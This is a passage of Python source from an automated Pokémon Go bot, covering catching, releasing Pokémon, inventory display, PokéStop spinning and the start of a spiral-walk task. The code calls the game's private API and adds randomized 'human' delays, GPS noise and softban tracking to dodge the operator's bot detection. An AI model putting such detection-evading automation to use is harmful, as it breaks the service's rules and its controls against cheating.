            best_ball = current_ball
            while best_ball < maximum_ball:
                best_ball += 1
                if catch_rate_by_ball[current_ball] < ideal_catch_rate_before_throw and ball_count[best_ball] > 0:
                    # if current ball chance to catch is under our ideal rate, and player has better ball - then use it
                    current_ball = best_ball
                    changed_ball = True

            # if the rate is still low and we didn't throw a berry before, throw one
            if catch_rate_by_ball[current_ball] < ideal_catch_rate_before_throw and berry_count > 0 and not used_berry:
                new_catch_rate_by_ball = self._use_berry(berry_id, berry_count, encounter_id, catch_rate_by_ball, current_ball)
                if new_catch_rate_by_ball != catch_rate_by_ball:
                    catch_rate_by_ball = new_catch_rate_by_ball
                    self.inventory.get(ITEM_RAZZBERRY).remove(1)
                    berry_count -= 1
                    used_berry = True

            # If we change ball then wait to simulate user selecting it
            if changed_ball:
                action_delay(self.catchsim_changeball_wait_min, self.catchsim_changeball_wait_max)

            # Randomize the quality of the throw
            # Default structure
            throw_parameters = {'normalized_reticle_size': 1.950,
                                'spin_modifier': 1.0,
                                'normalized_hit_position': 1.0,
                                'throw_type_label': 'Excellent'}
            self.generate_spin_parameter(throw_parameters)
            self.generate_throw_quality_parameters(throw_parameters)

            # try to catch pokemon!
            ball_count[current_ball] -= 1
            self.inventory.get(current_ball).remove(1)
            # Take some time to throw the ball from config options
            action_delay(self.catchsim_catch_wait_min, self.catchsim_catch_wait_max)
            self.emit_event(
                'threw_pokeball',
                formatted='{throw_type}{spin_label} throw! Used {ball_name}, with chance {success_percentage} ({count_left} left)',
                data={
                    'throw_type': throw_parameters['throw_type_label'],
                    'spin_label': throw_parameters['spin_label'],
                    'ball_name': self.inventory.get(current_ball).name,
                    'success_percentage': self._pct(catch_rate_by_ball[current_ball]),
                    'count_left': ball_count[current_ball]
                }
            )

            hit_pokemon = 1
            if random() >= self.catch_throw_parameters_hit_rate and not is_vip:
                hit_pokemon = 0

            response_dict = self.api.catch_pokemon(
                encounter_id=encounter_id,
                pokeball=current_ball,
                normalized_reticle_size=throw_parameters['normalized_reticle_size'],
                spawn_point_id=self.spawn_point_guid,
                hit_pokemon=hit_pokemon,
                spin_modifier=throw_parameters['spin_modifier'],
                normalized_hit_position=throw_parameters['normalized_hit_position']
            )

            try:
                catch_pokemon_status = response_dict['responses']['CATCH_POKEMON']['status']
            except KeyError:
                break

            # retry failed pokemon
            if catch_pokemon_status == CATCH_STATUS_FAILED:
                self.emit_event(
                    'pokemon_capture_failed',
                    formatted='{pokemon} capture failed.. trying again!',
                    data={'pokemon': pokemon.name}
                )
                used_berry = False

                # sleep according to flee_count and flee_duration config settings
                # randomly chooses a number of times to 'show' wobble animation between 1 and flee_count
                # multiplies this by flee_duration to get total sleep
                if self.catchsim_flee_count:
                    sleep((randrange(self.catchsim_flee_count)+1) * self.catchsim_flee_duration)

                continue

            # abandon if pokemon vanished
            elif catch_pokemon_status == CATCH_STATUS_VANISHED:
                self.emit_event(
                    'pokemon_vanished',
                    formatted='{pokemon} vanished!',
                    data={
                        'pokemon': pokemon.name,
                        'encounter_id': self.pokemon['encounter_id'],
                        'latitude': self.pokemon['latitude'],
                        'longitude': self.pokemon['longitude'],
                        'pokemon_id': pokemon.pokemon_id
                    }
                )
                if self._pct(catch_rate_by_ball[current_ball]) == 100:
                    self.bot.softban = True

            # pokemon caught!
            elif catch_pokemon_status == CATCH_STATUS_SUCCESS:
                pokemon.unique_id = response_dict['responses']['CATCH_POKEMON']['captured_pokemon_id']
                self.bot.metrics.captured_pokemon(pokemon.name, pokemon.cp, pokemon.iv_display, pokemon.iv)

                try:
                    inventory.pokemons().add(pokemon)
                    self.emit_event(
                        'pokemon_caught',
                        formatted='Captured {pokemon}! [CP {cp}] [NCP {ncp}] [Potential {iv}] [{iv_display}] [+{exp} exp]',
                        data={
                            'pokemon': pokemon.name,
                            'ncp': round(pokemon.cp_percent, 2),
                            'cp': pokemon.cp,
                            'iv': pokemon.iv,
                            'iv_display': pokemon.iv_display,
                            'exp': sum(response_dict['responses']['CATCH_POKEMON']['capture_award']['xp']),
                            'encounter_id': self.pokemon['encounter_id'],
                            'latitude': self.pokemon['latitude'],
                            'longitude': self.pokemon['longitude'],
                            'pokemon_id': pokemon.pokemon_id
                        }

                    )
                    with self.bot.database as conn:
                        c = conn.cursor()
                        c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='catch_log'")
                    result = c.fetchone()

                    while True:
                        if result[0] == 1:
                            conn.execute('''INSERT INTO catch_log (pokemon, cp, iv, encounter_id, pokemon_id) VALUES (?, ?, ?, ?, ?)''', (pokemon.name, pokemon.cp, pokemon.iv, str(encounter_id), pokemon.pokemon_id))
                        break
                    else:
                        self.emit_event(
                            'catch_log',
                            sender=self,
                            level='info',
                            formatted="catch_log table not found, skipping log"
                        )
                        break
                    user_data_caught = os.path.join(_base_dir, 'data', 'caught-%s.json' % self.bot.config.username)
                    with open(user_data_caught, 'ab') as outfile:
                        outfile.write(str(datetime.now()))
                        json.dump({
                            'pokemon': pokemon.name,
                            'cp': pokemon.cp,
                            'iv': pokemon.iv,
                            'encounter_id': self.pokemon['encounter_id'],
                            'pokemon_id': pokemon.pokemon_id
                        }, outfile)
                        outfile.write('\n')

                except IOError as e:
                    self.logger.info('[x] Error while opening location file: %s' % e)

                candy = inventory.candies().get(pokemon.pokemon_id)
                candy.add(self.get_candy_gained_count(response_dict))

                self.emit_event(
                    'gained_candy',
                    formatted='You now have {quantity} {type} candy!',
                    data = {
                        'quantity': candy.quantity,
                        'type': candy.type,
                    },
                )

                self.bot.softban = False

            elif catch_pokemon_status == CATCH_STATUS_MISSED:
                self.emit_event(
                    'pokemon_capture_failed',
                    formatted='Pokeball thrown to {pokemon} missed.. trying again!',
                    data={'pokemon': pokemon.name}
                )
                # Take some time to throw the ball from config options
                action_delay(self.catchsim_catch_wait_min, self.catchsim_catch_wait_max)
                continue

            break

    def get_candy_gained_count(self, response_dict):
        total_candy_gained = 0
        for candy_gained in response_dict['responses']['CATCH_POKEMON']['capture_award']['candy']:
            total_candy_gained += candy_gained
        return total_candy_gained

    def generate_spin_parameter(self, throw_parameters):
        spin_success_rate = self.catch_throw_parameters_spin_success_rate
        if random() <= spin_success_rate:
            throw_parameters['spin_modifier'] = 0.5 + 0.5 * random()
            throw_parameters['spin_label'] = ' Curveball'
        else:
            throw_parameters['spin_modifier'] = 0.499 * random()
            throw_parameters['spin_label'] = ''

    def generate_throw_quality_parameters(self, throw_parameters):
        throw_excellent_chance = self.catch_throw_parameters_excellent_rate
        throw_great_chance = self.catch_throw_parameters_great_rate
        throw_nice_chance = self.catch_throw_parameters_nice_rate
        throw_normal_throw_chance = self.catch_throw_parameters_normal_rate

        # Total every chance types, pick a random number in the range and check what type of throw we got
        total_chances = throw_excellent_chance + throw_great_chance \
                        + throw_nice_chance + throw_normal_throw_chance

        random_throw = random() * total_chances

        if random_throw <= throw_excellent_chance:
            throw_parameters['normalized_reticle_size'] = 1.70 + 0.25 * random()
            throw_parameters['normalized_hit_position'] = 1.0
            throw_parameters['throw_type_label'] = 'Excellent'
            return

        random_throw -= throw_excellent_chance
        if random_throw <= throw_great_chance:
            throw_parameters['normalized_reticle_size'] = 1.30 + 0.399 * random()
            throw_parameters['normalized_hit_position'] = 1.0
            throw_parameters['throw_type_label'] = 'Great'
            return

        random_throw -= throw_great_chance
        if random_throw <= throw_nice_chance:
            throw_parameters['normalized_reticle_size'] = 1.00 + 0.299 * random()
            throw_parameters['normalized_hit_position'] = 1.0
            throw_parameters['throw_type_label'] = 'Nice'
            return

        # Not a any kind of special throw, let's throw a normal one
        # Here the reticle size doesn't matter, we scored out of it
        throw_parameters['normalized_reticle_size'] = 1.25 + 0.70 * random()
        throw_parameters['normalized_hit_position'] = 0.0
        throw_parameters['throw_type_label'] = 'OK'






import json
import os

from pokemongo_bot import inventory
from pokemongo_bot.human_behaviour import action_delay
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.inventory import Pokemons, Pokemon, Attack
from pokemongo_bot.datastore import Datastore
from operator import attrgetter

class TransferPokemon(Datastore, BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def __init__(self, bot, config):
        super(TransferPokemon, self).__init__(bot, config)
    def initialize(self):
        self.min_free_slot = self.config.get('min_free_slot', 5)
        self.transfer_wait_min = self.config.get('transfer_wait_min', 1)
        self.transfer_wait_max = self.config.get('transfer_wait_max', 4)

    def work(self):

        if not self._should_work():
            return

        pokemon_groups = self._release_pokemon_get_groups()
        for pokemon_id, group in pokemon_groups.iteritems():
            pokemon_name = Pokemons.name_for(pokemon_id)
            keep_best, keep_best_cp, keep_best_iv = self._validate_keep_best_config(pokemon_name)
            #TODO continue list possible criteria
            keep_best_possible_criteria = ['cp','iv', 'iv_attack', 'iv_defense', 'iv_stamina', 'moveset.attack_perfection','moveset.defense_perfection','hp','hp_max']
            keep_best_custom, keep_best_criteria, keep_amount = self._validate_keep_best_config_custom(pokemon_name, keep_best_possible_criteria)

            best_pokemon_ids = set()
            order_criteria = 'none'
            if keep_best:
                if keep_best_cp >= 1:
                    cp_limit = keep_best_cp
                    best_cp_pokemons = sorted(group, key=lambda x: (x.cp, x.iv), reverse=True)[:cp_limit]
                    best_pokemon_ids = set(pokemon.unique_id for pokemon in best_cp_pokemons)
                    order_criteria = 'cp'

                if keep_best_iv >= 1:
                    iv_limit = keep_best_iv
                    best_iv_pokemons = sorted(group, key=lambda x: (x.iv, x.cp), reverse=True)[:iv_limit]
                    best_pokemon_ids |= set(pokemon.unique_id for pokemon in best_iv_pokemons)
                    if order_criteria == 'cp':
                        order_criteria = 'cp and iv'
                    else:
                        order_criteria = 'iv'
            elif keep_best_custom:
                limit = keep_amount
                keep_best_criteria = [str(keep_best_criteria[x]) for x in range(len(keep_best_criteria))] # not sure if the u of unicode will stay, so make it go away
                best_pokemons = sorted(group, key=attrgetter(*keep_best_criteria), reverse=True)[:limit]
                best_pokemon_ids = set(pokemon.unique_id for pokemon in best_pokemons)
                order_criteria = ' then '.join(keep_best_criteria)

            if keep_best or keep_best_custom:
                # remove best pokemons from all pokemons array
                all_pokemons = group
                best_pokemons = []
                for best_pokemon_id in best_pokemon_ids:
                    for pokemon in all_pokemons:
                        if best_pokemon_id == pokemon.unique_id:
                            all_pokemons.remove(pokemon)
                            best_pokemons.append(pokemon)

                transfer_pokemons = [pokemon for pokemon in all_pokemons if self.should_release_pokemon(pokemon,True)]

                if transfer_pokemons:
                    if best_pokemons:
                        self.emit_event(
                            'keep_best_release',
                            formatted="Keeping best {amount} {pokemon}, based on {criteria}",
                            data={
                                'amount': len(best_pokemons),
                                'pokemon': pokemon_name,
                                'criteria': order_criteria
                            }
                        )
                    for pokemon in transfer_pokemons:
                        self.release_pokemon(pokemon)
            else:
                group = sorted(group, key=lambda x: x.cp, reverse=True)
                for pokemon in group:
                    if self.should_release_pokemon(pokemon):
                        self.release_pokemon(pokemon)

    def _should_work(self):
        return inventory.Pokemons.get_space_left() <= self.min_free_slot

    def _release_pokemon_get_groups(self):
        pokemon_groups = {}
        for pokemon in inventory.pokemons().all():
            if pokemon.in_fort or pokemon.is_favorite:
                continue

            group_id = pokemon.pokemon_id

            if group_id not in pokemon_groups:
                pokemon_groups[group_id] = []

            pokemon_groups[group_id].append(pokemon)

        return pokemon_groups

    def should_release_pokemon(self, pokemon, keep_best_mode = False):
        release_config = self._get_release_config_for(pokemon.name)

        if (keep_best_mode
            and not release_config.has_key('never_release')
            and not release_config.has_key('always_release')
            and not release_config.has_key('release_below_cp')
            and not release_config.has_key('release_below_iv')):
            return True

        cp_iv_logic = release_config.get('logic')
        if not cp_iv_logic:
            cp_iv_logic = self._get_release_config_for('any').get('logic', 'and')

        release_results = {
            'cp': False,
            'iv': False,
        }

        if release_config.get('never_release', False):
            return False

        if release_config.get('always_release', False):
            return True

        release_cp = release_config.get('release_below_cp', 0)
        if pokemon.cp < release_cp:
            release_results['cp'] = True

        release_iv = release_config.get('release_below_iv', 0)
        if pokemon.iv < release_iv:
            release_results['iv'] = True

        logic_to_function = {
            'or': lambda x, y: x or y,
            'and': lambda x, y: x and y
        }

        if logic_to_function[cp_iv_logic](*release_results.values()):
            self.emit_event(
                'future_pokemon_release',
                formatted="Releasing {pokemon} [CP {cp}] [IV {iv}] based on rule: CP < {below_cp} {cp_iv_logic} IV < {below_iv}",
                data={
                    'pokemon': pokemon.name,
                    'cp': pokemon.cp,
                    'iv': pokemon.iv,
                    'below_cp': release_cp,
                    'cp_iv_logic': cp_iv_logic.upper(),
                    'below_iv': release_iv
                }
            )

        return logic_to_function[cp_iv_logic](*release_results.values())

    def release_pokemon(self, pokemon):
        """

        :type pokemon: Pokemon
        """
        try:
            if self.bot.config.test:
                candy_awarded = 1
            else:
                response_dict = self.bot.api.release_pokemon(pokemon_id=pokemon.unique_id)
                candy_awarded = response_dict['responses']['RELEASE_POKEMON']['candy_awarded']
        except KeyError:
            return

        # We could refresh here too, but adding 1 saves a inventory request
        candy = inventory.candies().get(pokemon.pokemon_id)
        candy.add(candy_awarded)
        inventory.pokemons().remove(pokemon.unique_id)
        self.bot.metrics.released_pokemon()
        self.emit_event(
            'pokemon_release',
            formatted='Exchanged {pokemon} [IV {iv}] [CP {cp}] [{candy} candies]',
            data={
                'pokemon': pokemon.name,
                'iv': pokemon.iv,
                'cp': pokemon.cp,
                'candy': candy.quantity
            }
        )
        with self.bot.database as conn:
            c = conn.cursor()
            c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='transfer_log'")

        result = c.fetchone()

        while True:
            if result[0] == 1:
                conn.execute('''INSERT INTO transfer_log (pokemon, iv, cp) VALUES (?, ?, ?)''', (pokemon.name, pokemon.iv, pokemon.cp))
                break
            else:
                self.emit_event(
                    'transfer_log',
                    sender=self,
                    level='info',
                    formatted="transfer_log table not found, skipping log"
                )
                break
        action_delay(self.transfer_wait_min, self.transfer_wait_max)

    def _get_release_config_for(self, pokemon):
        release_config = self.bot.config.release.get(pokemon)
        if not release_config:
            release_config = self.bot.config.release.get('any')
        if not release_config:
            release_config = {}
        return release_config

    def _validate_keep_best_config_custom(self, pokemon_name, keep_best_possible_custom):
        keep_best = False

        release_config = self._get_release_config_for(pokemon_name)
        keep_best_custom = release_config.get('keep_best_custom', '')
        keep_amount = release_config.get('amount', 0)

        if keep_best_custom and keep_amount:
            keep_best = True

            keep_best_custom = keep_best_custom.split(',')
            for _str in keep_best_custom:
                if _str not in keep_best_possible_custom:
                    keep_best = False
                    break

            try:
                keep_amount = int(keep_amount)
            except ValueError:
                keep_best = False

            if keep_amount < 0:
                keep_best = False

        return keep_best, keep_best_custom, keep_amount

    def _validate_keep_best_config(self, pokemon_name):
        keep_best = False

        release_config = self._get_release_config_for(pokemon_name)

        keep_best_cp = release_config.get('keep_best_cp', 0)
        keep_best_iv = release_config.get('keep_best_iv', 0)

        if keep_best_cp or keep_best_iv:
            keep_best = True
            try:
                keep_best_cp = int(keep_best_cp)
            except ValueError:
                keep_best_cp = 0

            try:
                keep_best_iv = int(keep_best_iv)
            except ValueError:
                keep_best_iv = 0

            if keep_best_cp < 0 or keep_best_iv < 0:
                keep_best = False

            if keep_best_cp == 0 and keep_best_iv == 0:
                keep_best = False

        return keep_best, keep_best_cp, keep_best_iv






import ctypes
import logging
from datetime import datetime, timedelta

from pokemongo_bot import inventory
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.tree_config_builder import ConfigException


class UpdateLiveInventory(BaseTask):
    """
    Periodically displays the user inventory in the terminal.

    Example config :
    {
        "type": "UpdateLiveInventory",
        "config": {
          "enabled": true,
          "min_interval": 120,
          "show_all_multiple_lines": false,
          "items": ["space_info", "pokeballs", "greatballs", "ultraballs", "razzberries", "luckyegg"]
        }
    }

    min_interval : The minimum interval at which the stats are displayed,
                   in seconds (defaults to 120 seconds).
                   The update interval cannot be accurate as workers run synchronously.
    show_all_multiple_lines : Logs all items on inventory using multiple lines.
                              Ignores configuration of 'items' 
    items : An array of items to display and their display order (implicitly),
            see available items below (defaults to []).

    Available items :
		'pokemon_bag' : pokemon in inventory (i.e. 'Pokemon Bag: 100/250')
        'space_info': not an item but shows inventory bag space (i.e. 'Items: 140/350')
        'pokeballs'
        'greatballs'
        'ultraballs'
        'masterballs'
        'razzberries'
        'blukberries'
        'nanabberries'
        'luckyegg'
        'incubator'
        'troydisk'
        'potion'
        'superpotion'
        'hyperpotion'
        'maxpotion'
        'incense'
        'incensespicy'
        'incensecool'
        'revive'
        'maxrevive'
    """

    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self.next_update = None
        self.min_interval = self.config.get('min_interval', 120)
        self.show_all_multiple_lines = self.config.get('show_all_multiple_lines', False)
        self.displayed_items = self.config.get('items', [])
        self.logger = logging.getLogger(type(self).__name__)

        if self.show_all_multiple_lines:
            self.bot.event_manager.register_event('show_inventory')
        else:
            self.bot.event_manager.register_event('show_inventory', parameters=('items',))


    def work(self):
        """
        Displays the items if necessary.
        :return: Always returns WorkerResult.SUCCESS.
        :rtype: WorkerResult
        """
        if not self.should_print():
            return WorkerResult.SUCCESS

        self.inventory = inventory.items()
        if self.show_all_multiple_lines:
            self.print_all()
            self.print_inv(self.get_inventory_line(True),  True)
            return WorkerResult.SUCCESS

        line = self.get_inventory_line()
        if not line:
            return WorkerResult.SUCCESS

        self.print_inv(line)
        return WorkerResult.SUCCESS

    def should_print(self):
        """
        Returns a value indicating whether the items should be displayed.
        :return: True if the stats should be displayed; otherwise, False.
        :rtype: bool
        """
        return self.next_update is None or datetime.now() >= self.next_update

    def compute_next_update(self):
        """
        Computes the next update datetime based on the minimum update interval.
        :return: Nothing.
        :rtype: None
        """
        self.next_update = datetime.now() + timedelta(seconds=self.min_interval)

    def print_inv(self, items, is_debug=False):
        """
        Logs the items into the terminal using an event.
        :param items: The items to display.
        :type items: string
        :param is_debug: If True emits event at debug level.
        :type is_debug: boolean
        :return: Nothing.
        :rtype: None
        """
        if not is_debug:
            self.emit_event(
                'show_inventory',
                formatted="{items}",
                data={
                    'items': items
                }
            )
        else:
            self.emit_event(
                'show_inventory',
                sender=self,
                level='debug',
                formatted="{items}",
                data={
                    'items': items
                }
            )

        self.compute_next_update()


    def get_inventory_line(self, is_debug=False):
        """
        Generates a items string according to the configuration.
        :param is_debug: If True returns a string with all items.
        :type is_debug: boolean
        :return: A string containing items and their count, ready to be displayed.
        :rtype: string
        """
        available_items = {
			'pokemon_bag': 'Pokemon: {:,}/{:,}'.format(inventory.Pokemons.get_space_used(), inventory.get_pokemon_inventory_size()),
            'space_info': 'Items: {:,}/{:,}'.format(self.inventory.get_space_used(),
                                                    self.inventory.get_space_used() + self.inventory.get_space_left()),
            'pokeballs': 'Pokeballs: {:,}'.format(self.inventory.get(1).count),
            'greatballs': 'GreatBalls: {:,}'.format(self.inventory.get(2).count),
            'ultraballs': 'UltraBalls: {:,}'.format(self.inventory.get(3).count),
            'masterballs': 'MasterBalls: {:,}'.format(self.inventory.get(4).count),
            'razzberries': 'RazzBerries: {:,}'.format(self.inventory.get(701).count),
            'blukberries': 'BlukBerries: {:,}'.format(self.inventory.get(702).count),
            'nanabberries': 'NanabBerries: {:,}'.format(self.inventory.get(703).count),
            'luckyegg': 'LuckyEgg: {:,}'.format(self.inventory.get(301).count),
            'incubator': 'Incubator: {:,}'.format(self.inventory.get(902).count),
            'troydisk': 'TroyDisk: {:,}'.format(self.inventory.get(501).count),
            'potion': 'Potion: {:,}'.format(self.inventory.get(101).count),
            'superpotion': 'SuperPotion: {:,}'.format(self.inventory.get(102).count),
            'hyperpotion': 'HyperPotion: {:,}'.format(self.inventory.get(103).count),
            'maxpotion': 'MaxPotion: {:,}'.format(self.inventory.get(104).count),
            'incense': 'Incense: {:,}'.format(self.inventory.get(401).count),
            'incensespicy': 'IncenseSpicy: {:,}'.format(self.inventory.get(402).count),
            'incensecool': 'IncenseCool: {:,}'.format(self.inventory.get(403).count),
            'revive': 'Revive: {:,}'.format(self.inventory.get(201).count),
            'maxrevive': 'MaxRevive: {:,}'.format(self.inventory.get(202).count)
        }

        def get_item(item):
            """
            Fetches a item string from the available items dictionary.
            :param item: The item name.
            :type item: string
            :return: The generated item string.
            :rtype: string
            :raise: ConfigException: When the provided item string isn't in the available items
            dictionary.
            """
            if item not in available_items:
                raise ConfigException("item '{}' isn't available for displaying".format(item))
            return available_items[item]

        if is_debug:
            temp = []
            for key, value in available_items.iteritems():
                temp.append(value)
            return ' | '.join(temp)

        line = ' | '.join(map(get_item, self.displayed_items))
        return line

    def print_all(self):
        """
        Logs the items into the terminal using self.logger.
        It logs using multiple lines and logs all items.
        :return: Nothing.
        :rtype: None
        """
        self.logger.info(
            'Pokemon Bag: {}/{}'.format(
                inventory.Pokemons.get_space_used(),
                inventory.get_pokemon_inventory_size()
            )
        )
		
        self.logger.info(
            'Items: {}/{}'.format(
                self.inventory.get_space_used(),
                inventory.get_item_inventory_size()
                )
            )

        self.logger.info(
            'PokeBalls: {} | GreatBalls: {} | UltraBalls: {} | MasterBalls: {}'.format(
                self.inventory.get(1).count,
                self.inventory.get(2).count,
                self.inventory.get(3).count,
                self.inventory.get(4).count
                )
            )

        self.logger.info(
            'RazzBerries: {} | BlukBerries: {} | NanabBerries: {}'.format(
                self.inventory.get(701).count,
                self.inventory.get(702).count,
                self.inventory.get(703).count
                )
            )

        self.logger.info(
            'LuckyEgg: {} | Incubator: {} | TroyDisk: {}'.format(
                self.inventory.get(301).count,
                self.inventory.get(902).count,
                self.inventory.get(501).count
                )
            )

        self.logger.info(
            'Potion: {} | SuperPotion: {} | HyperPotion: {} | MaxPotion: {}'.format(
                self.inventory.get(101).count,
                self.inventory.get(102).count,
                self.inventory.get(103).count,
                self.inventory.get(104).count
                )
            )

        self.logger.info(
            'Incense: {} | IncenseSpicy: {} | IncenseCool: {}'.format(
                self.inventory.get(401).count,
                self.inventory.get(402).count,
                self.inventory.get(403).count
                )
            )

        self.logger.info(
            'Revive: {} | MaxRevive: {}'.format(
                self.inventory.get(201).count,
                self.inventory.get(202).count
                )
            )

        self.compute_next_update()






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import json
import os
import time

from pgoapi.utilities import f2i
from pokemongo_bot import inventory

from pokemongo_bot.constants import Constants
from pokemongo_bot.human_behaviour import action_delay
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.base_dir import _base_dir
from utils import distance, format_time, fort_details
from pokemongo_bot.datastore import Datastore

SPIN_REQUEST_RESULT_SUCCESS = 1
SPIN_REQUEST_RESULT_OUT_OF_RANGE = 2
SPIN_REQUEST_RESULT_IN_COOLDOWN_PERIOD = 3
SPIN_REQUEST_RESULT_INVENTORY_FULL = 4


class SpinFort(Datastore, BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def __init__(self, bot, config):
        super(SpinFort, self).__init__(bot, config)
    def initialize(self):
        self.ignore_item_count = self.config.get("ignore_item_count", False)
        self.spin_wait_min = self.config.get("spin_wait_min", 2)
        self.spin_wait_max = self.config.get("spin_wait_max", 3)

    def should_run(self):
        has_space_for_loot = inventory.Items.has_space_for_loot()
        if not has_space_for_loot and not self.ignore_item_count:
            self.emit_event(
                'inventory_full',
                formatted="Inventory is full. You might want to change your config to recycle more items if this message appears consistently."
            )
        return self.ignore_item_count or has_space_for_loot

    def work(self):
        forts = self.get_forts_in_range()

        if not self.should_run() or len(forts) == 0:
            return WorkerResult.SUCCESS

        fort = forts[0]

        lat = fort['latitude']
        lng = fort['longitude']

        details = fort_details(self.bot, fort['id'], lat, lng)
        fort_name = details.get('name', 'Unknown')

        response_dict = self.bot.api.fort_search(
            fort_id=fort['id'],
            fort_latitude=lat,
            fort_longitude=lng,
            player_latitude=f2i(self.bot.position[0]),
            player_longitude=f2i(self.bot.position[1])
        )

        if ('responses' in response_dict) and ('FORT_SEARCH' in response_dict['responses']):
            spin_details = response_dict['responses']['FORT_SEARCH']
            spin_result = spin_details.get('result', -1)

            if (spin_result == SPIN_REQUEST_RESULT_SUCCESS) or (spin_result == SPIN_REQUEST_RESULT_INVENTORY_FULL):
                self.bot.softban = False
                experience_awarded = spin_details.get('experience_awarded', 0)
                items_awarded = self.get_items_awarded_from_fort_spinned(response_dict)

                if experience_awarded or items_awarded:
                    self.emit_event(
                        'spun_pokestop',
                        formatted="Spun pokestop {pokestop}. Experience awarded: {exp}. Items awarded: {items}",
                        data={
                            'pokestop': fort_name,
                            'exp': experience_awarded,
                            'items': items_awarded
                        }
                    )
                else:
                    self.emit_event(
                        'pokestop_empty',
                        formatted='Found nothing in pokestop {pokestop}.',
                        data={'pokestop': fort_name}
                    )
                with self.bot.database as conn:
                    c = conn.cursor()
                    c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='pokestop_log'")
                result = c.fetchone()        
                while True:
                    if result[0] == 1:
                        conn.execute('''INSERT INTO pokestop_log (pokestop, exp, items) VALUES (?, ?, ?)''', (fort_name, str(experience_awarded), str(items_awarded)))
                        break
                    else:
                        self.emit_event(
                        'pokestop_log',
                        sender=self,
                        level='info',
                        formatted="pokestop_log table not found, skipping log"
                        )
                        break
                pokestop_cooldown = spin_details.get(
                    'cooldown_complete_timestamp_ms')
                self.bot.fort_timeouts.update({fort["id"]: pokestop_cooldown})
                self.bot.recent_forts = self.bot.recent_forts[1:] + [fort['id']]
            elif spin_result == SPIN_REQUEST_RESULT_OUT_OF_RANGE:
                self.emit_event(
                    'pokestop_out_of_range',
                    formatted="Pokestop {pokestop} out of range.",
                    data={'pokestop': fort_name}
                )
            elif spin_result == SPIN_REQUEST_RESULT_IN_COOLDOWN_PERIOD:
                pokestop_cooldown = spin_details.get(
                    'cooldown_complete_timestamp_ms')
                if pokestop_cooldown:
                    self.bot.fort_timeouts.update({fort["id"]: pokestop_cooldown})
                    seconds_since_epoch = time.time()
                    minutes_left = format_time(
                        (pokestop_cooldown / 1000) - seconds_since_epoch
                    )
                    self.emit_event(
                        'pokestop_on_cooldown',
                        formatted="Pokestop {pokestop} on cooldown. Time left: {minutes_left}.",
                        data={'pokestop': fort_name, 'minutes_left': minutes_left}
                    )
            else:
                self.emit_event(
                    'unknown_spin_result',
                    formatted="Unknown spint result {status_code}",
                    data={'status_code': str(spin_result)}
                )
            if 'chain_hack_sequence_number' in response_dict['responses'][
                    'FORT_SEARCH']:
                action_delay(self.spin_wait_min, self.spin_wait_max)
                return response_dict['responses']['FORT_SEARCH'][
                    'chain_hack_sequence_number']
            else:
                self.emit_event(
                    'pokestop_searching_too_often',
                    formatted="Possibly searching too often, take a rest."
                )
                if spin_result == 1 and not items_awarded and not experience_awarded and not pokestop_cooldown:
                    self.bot.softban = True
                    self.emit_event(
                        'softban',
                        formatted='Probably got softban.'
                    )
                    with self.bot.database as conn:
                        c = conn.cursor()
                        c.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='softban_log'")
                    result = c.fetchone()        
                    
                    if result[0] == 1:
                        source = str("PokemonCatchWorker")
                        status = str("Possible Softban")
                        conn.execute('''INSERT INTO softban_log (status, source) VALUES (?, ?)''', (status, source))
                    else:
                        self.emit_event(
                        'softban_log',
                        sender=self,
                        level='info',
                        formatted="softban_log table not found, skipping log"
                        )
                        
                self.bot.fort_timeouts[fort["id"]] = (time.time() + 300) * 1000  # Don't spin for 5m
                    
                return WorkerResult.ERROR
        action_delay(self.spin_wait_min, self.spin_wait_max)

        if len(forts) > 1:
            return WorkerResult.RUNNING

        return WorkerResult.SUCCESS

    def get_forts_in_range(self):
        forts = self.bot.get_forts(order_by_distance=True)
        forts = filter(lambda fort: fort["id"] not in self.bot.fort_timeouts, forts)
        if self.bot.config.replicate_gps_xy_noise:
            forts = filter(lambda fort: distance(
                self.bot.noised_position[0],
                self.bot.noised_position[1],
                fort['latitude'],
                fort['longitude']
            ) <= Constants.MAX_DISTANCE_FORT_IS_REACHABLE, forts)
        else:
            forts = filter(lambda fort: distance(
                self.bot.position[0],
                self.bot.position[1],
                fort['latitude'],
                fort['longitude']
            ) <= Constants.MAX_DISTANCE_FORT_IS_REACHABLE, forts)

        return forts

    def get_items_awarded_from_fort_spinned(self, response_dict):
        items_awarded = response_dict['responses']['FORT_SEARCH'].get('items_awarded', {})
        if items_awarded:
            tmp_count_items = {}
            for item_awarded in items_awarded:

                item_awarded_id = item_awarded['item_id']
                item_awarded_name = inventory.Items.name_for(item_awarded_id)
                item_awarded_count = item_awarded['item_count']

                if not item_awarded_name in tmp_count_items:
                    tmp_count_items[item_awarded_name] = item_awarded_count
                else:
                    tmp_count_items[item_awarded_name] += item_awarded_count

                self._update_inventory(item_awarded)

            return tmp_count_items

    # TODO : Refactor this class, hide the inventory update right after the api call
    def _update_inventory(self, item_awarded):
        inventory.items().get(item_awarded['item_id']).add(item_awarded['item_count'])






# -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals

import math

from pokemongo_bot.cell_workers.utils import distance, format_dist
from pokemongo_bot.walkers.step_walker import StepWalker
from pokemongo_bot.base_task import BaseTask
from random import uniform

class FollowSpiral(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self.steplimit = self.config.get("diameter", 4)
        self.step_size = self.config.get("step_size", 70)
        self.origin_lat = self.bot.position[0]
        self.origin_lon = self.bot.position[1]

        self.diameter_to_steps = (self.steplimit+1) ** 2
        self.points = self._generate_spiral(
            self.origin_lat, self.origin_lon, self.step_size, self.diameter_to_steps
        )

        self.ptr = 0
        self.direction = 1
        self.cnt = 0


    @staticmethod
    def _generate_spiral(starting_lat, starting_lng, step_size, step_limit):
        """
        Sourced from:
        https://github.com/tejado/pgoapi/blob/master/examples/spiral_poi_search.py

        :param starting_lat:
        :param starting_lng:
